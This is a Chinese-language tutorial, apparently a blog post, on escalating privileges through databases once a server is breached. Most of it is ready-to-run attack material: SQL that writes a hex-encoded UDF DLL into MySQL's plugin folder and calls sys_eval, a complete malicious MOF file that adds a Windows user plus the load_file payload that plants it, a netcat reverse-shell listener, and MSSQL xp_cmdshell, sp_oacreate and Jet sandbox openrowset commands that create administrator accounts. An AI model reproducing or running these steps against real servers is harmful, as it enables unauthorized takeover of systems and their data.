再利用系统溢出漏洞无果的情况下,可以采用数据库进行提权,但需要知道数据库提权的前提条件;服务器开启数据库服务以及能获取到最高权限用户密码。除Access数据库外,其他数据库基本都存在数据库提权的可能。
步骤:1.探针 2.收集 3.分类
探针:扫描不同数据库对应的特定端口;探测哪些服务开启
收集:权限密码的获取通过配置文件,存储文件,暴力猜解
分类:MySQL:UDF MOF 启动项 反弹shell
UDF提权(基于MySQL调用命令执行函数)
MySQL最高权限用户名为root,读取配置文件获取数据库密码;读取数据库存储或备份文件(MySQL下data文件夹里包含了各个表名,列名,以文件夹的形式储存,.MYD文件打开就是表里的内容,因为MySQL账号密码默认储存在mysql库中的user表,所以可以打开data/mysql/user.MYD),或者用MySQL爆破脚本。
当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。
当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录下 (lib\plugin目录默认不存在,需自行创建)。
create table temp(data longblob);
insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);
select data from temp into dumpfile “G:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\udf.dll”;
create function sys_eval returns string soname ‘udf.dll’; #创建函数sys_eval
在将 udf.dll 文件写入plugin目录后,我们就可以使用 sys_eval 函数了。
select * from mysql.func where name = ‘sys_eval’; #查看创建的sys_eval函数
select sys_eval(‘whoami’);
MOF提权
mof提权原理
关于 mof 提权的原理其实很简单,就是利用了 c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。下面简单演示下 mof 提权的过程!
MOF提权的条件要求十分严苛:
1.windows 03及以下版本
2.mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
3.secure-file-priv参数不为null
MOF文件
托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。
提权原理
MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权
公开的nullevt.mof利用代码
1 #pragma namespace("\\.\root\subscription")
2 instance of __EventFilter as $EventFilter
3 {
4 EventNamespace = “Root\Cimv2”;
5 Name = “filtP2”;
6 Query = "Select * From __InstanceModificationEvent " 7 "Where TargetInstance Isa “Win32_LocalTime” " 8 “And TargetInstance.Second = 5”;
9 QueryLanguage = “WQL”;
10 };
11 instance of ActiveScriptEventConsumer as $Consumer
12 {
13 Name = “consPCSV2”;
14 ScriptingEngine = “JScript”;
15 ScriptText =
16 “var WSH = new ActiveXObject(“WScript.Shell”)\nWSH.run(“net.exe user hpdoger 123456 /add”)”;
17 };
18 instance of __FilterToConsumerBinding
19 {
20 Consumer = $Consumer;
21 Filter = $EventFilter;
22 };
MOF文件利用
将上面的脚本上传到有读写权限的目录下:
这里我上传到了C:\Documents and Settings\test
根据前面的phpmyadmin,我们使用sql语句将文件导入到c:/windows/system32/wbem/mof/下
payload:
select load_file(“C:/Documents and Settings/testtest.mof”) into dumpfile “c:/windows/system32/wbem/mof/nullevt.mof”
值得一提的是,这里不能使用outfile,因为会在末端写入新行,因此mof在被当作二进制文件无法正常执行,所以我们用dumpfile导出一行数据。
验证提权
当我们成功把mof导出时,mof就会直接被执行,且5秒创建一次用户。
可以看到,我们在test的普通用户下直接添加了hpdoger用户。剩下的操作就是用户命令处,换成加入administrator语句即可:
net.exe user localgroup administrator hpdoger /add
关于Mof提权的弊端
我们提权成功后,就算被删号,mof也会在五秒内将原账号重建,那么这给我们退出测试造成了很大的困扰,所以谨慎使用。那么我们如何删掉我们的入侵账号呢?
cmd 下运行下面语句:
net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt
重启服务即可。
启动项提权
导出自定义可执行文件到启动项目录配合重启执行,将创建好的后门或可执行文件进行服务器启动项写入,配合重启执行。
反弹shell
nc -l -p 5577 监听本地的5577端口,通过反弹到本地的5577端口来获取权限
MS提权
通过xp_cmdshell提权
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁用,如果用户拥有sa权限,可以通过sp_configure重新开启
启用:EXEC sp_configure ‘show advanced options’,1;
RECONFIGURE;
EXEC sp_configure ‘xp_cmdshell’,1;
RECONFIGURE;
关闭:
EXEC sp_configure ‘show advanced options’,1;
RECONFIGURE;
EXEC sp_configure ‘xp_cmdshell’,0;
RECONFIGURE;
执行:
exec master.dbo.xp_cmdshell ‘whoami’
如果xp_cmdshell被删除了,可以上传xplog70.dll恢复
exec master.sys.sp_addextendedproc ‘xp_cmdshell’,‘c:\program files\microsoft sql server\mssql\binn\xplog70.dll’
使用sp_oacreate进行提权
在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权
首先
EXEC sp_configure ‘show advanced options’, 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure ‘Ole Automation Procedures’, 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure ‘show advanced options’, 0;
打开组件,2005中默认关闭
1)直接加用户
2000系统:
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,‘run’,null,‘c:\winnt\system32\cmd.exe /c net user 123 123 /add’
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,‘run’,null,‘c:\winnt\system32\cmd.exe /c net localgroup administrators 123/add’
若无回显,可以将命令执行结果输出到指定文本文件,如:
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,‘run’,null,‘c:\winnt\system32\cmd.exe /c whoami >c:\1.txt’
使用沙盒进行提权
–提权语句
exec sp_configure ‘show advanced options’,1;reconfigure;
– 不开启的话在执行xp_regwrite会提示让我们开启,
exec sp_configure ‘Ad Hoc Distributed Queries’,1;reconfigure;
–关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master…xp_regwrite ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Jet\4.0\Engines’,‘SandBoxMode’,‘REG_DWORD’,0;
–查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Jet\4.0\Engines’, ‘SandBoxMode’
–执行系统命令select * from openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:/windows/system32/ias/ias.mdb’,‘select shell(“net user margin margin /add”)’)
select * from openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:/windows/system32/ias/ias.mdb’,‘select shell(“net localgroup administrators margin /add”)’)
沙盒模式SandBoxMode参数含义(默认是2)
0
:在任何所有者中禁止启用安全模式
1
:为仅在允许范围内
2
:必须在access模式下
3
:完全开启
openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。
–恢复配置
–exec master…xp_regwrite ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Jet\4.0\Engines’,‘SandBoxMode’,‘REG_DWORD’,1;
–exec sp_configure ‘Ad Hoc Distributed Queries’,0;reconfigure;
–exec sp_configure ‘show advanced options’,0;reconfigure;
Oracle数据库提权
由于Oracle常与jsp脚本组合,而jsp网站的后门不需要提权,自带system权限。
用自动化工具oracleshell (by rebeyond)